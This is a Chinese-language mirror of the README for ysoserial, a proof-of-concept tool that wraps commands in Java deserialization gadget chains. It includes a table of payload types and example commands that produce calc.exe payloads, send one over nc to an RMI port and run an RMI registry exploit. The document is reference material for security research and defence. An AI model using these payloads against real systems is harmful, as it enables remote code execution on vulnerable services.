frohoff/ysoserial

GitHub: frohoff/ysoserial

ysoserial是一款用于生成Java反序列化漏洞利用payload的概念验证工具,内置多种常见Java库的gadget chains,可将任意命令封装为可执行的序列化数据。

Stars: 8773 | Forks: 1852

# ysoserial [![GitHub release](https://img.shields.io/github/downloads/frohoff/ysoserial/latest/total)](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar) [![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/github/frohoff/ysoserial) [![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master) [![JitPack](https://jitpack.io/v/frohoff/ysoserial.svg)](https://jitpack.io/#frohoff/ysoserial) 一款用于生成利用不安全 Java 对象反序列化漏洞的 payload 的概念验证工具。 ![logo](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d2063fedea232536.png) ## 描述 最初作为 AppSecCali 2015 演讲的一部分发布 ["Marshalling Pickles: how deserializing objects will ruin your day"]( https://frohoff.github.io/appseccali-marshalling-pickles/) 其中包含了针对 Apache Commons Collections (3.x 和 4.x)、Spring Beans/Core (4.x) 以及 Groovy (2.3.x) 的 gadget chains。 随后更新增加了针对 [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) 和其他几个库的额外 gadget chains。 __ysoserial__ 是一个工具集合,包含在常见 Java 库中发现的、面向属性编程的 "gadget chains"。在特定条件下,这些 gadget chains 可以利用执行了 __不安全反序列化__ 操作的 Java 应用程序。主驱动程序接收用户指定的命令,将其封装在用户指定的 gadget chain 中,然后将这些对象序列化输出到 stdout。当 classpath 中包含所需 gadgets 的应用程序不安全地反序列化此数据时,该链将被自动调用,并导致在应用程序主机上执行该命令。 需要注意的是,漏洞在于应用程序执行了不安全的反序列化,而不在于 classpath 中存在 gadgets。 ## 免责声明 本软件的创建纯粹是为了学术研究目的以及开发有效的防御技术,除非获得明确授权,否则不应用于攻击系统。项目维护者不对软件的滥用负责或承担责任。请负责任地使用。 ## 用法 ``` $ java -jar ysoserial.jar Y SO SERIAL? Usage: java -jar ysoserial.jar [payload] '[command]' Available payload types: Payload Authors Dependencies ------- ------- ------------ AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1 CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 Groovy1 @frohoff groovy:2.3.9 Hibernate1 @mbechler Hibernate2 @mbechler JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JRMPClient @mbechler JRMPListener @mbechler JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 Jdk7u21 @frohoff Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 MozillaRhino1 @matthias_kaiser js:1.7R2 MozillaRhino2 @_tint0 js:1.7R2 Myfaces1 @mbechler Myfaces2 @mbechler ROME @mbechler rome:1.0 Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 URLDNS @gebl Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 ``` ## 示例 ``` $ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat ... 0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov 0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... 0000570: 0078 7071 007e 003a .xpq.~.: $ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin $ nc 10.10.10.10 1099 < groovypayload.bin $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe ``` ## 安装 [![GitHub release](https://img.shields.io/github/downloads/frohoff/ysoserial/latest/total)](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar) 从 GitHub releases 下载 [最新发布版本的 jar](https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar)。 ## 构建 需要 Java 1.7+ 和 Maven 3.x+ ```mvn clean package -DskipTests``` ## 代码状态 [![Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/github/frohoff/ysoserial) [![Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master) ## 贡献 1. Fork 本项目 2. 创建你的特性分支 (`git checkout -b my-new-feature`) 3. 提交你的更改 (`git commit -am 'Add some feature'`) 4. 推送到分支 (`git push origin my-new-feature`) 5. 创建新的 Pull Request ## 另见 * [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet):关于漏洞、工具、博客/报告等信息 * [marshalsec](https://github.com/frohoff/marshalsec):针对各种 Java 反序列化格式/库的类似项目 * [ysoserial.net](https://github.com/pwntester/ysoserial.net):针对 .NET 反序列化的类似项目
标签:Commons-Collections, DNS 反向解析, Gadget Chains, GHAS, Java反序列化, Java安全, JS文件枚举, Payload生成, RCE, Ysoserial, 原语编程, 域名枚举, 域名枚举, 对象序列化, 恶意软件生成, 提示词注入, 攻击框架, 数据展示, 文档安全, 概念验证, 漏洞利用链, 红队, 编程工具, 网络安全, 远程代码执行, 隐私保护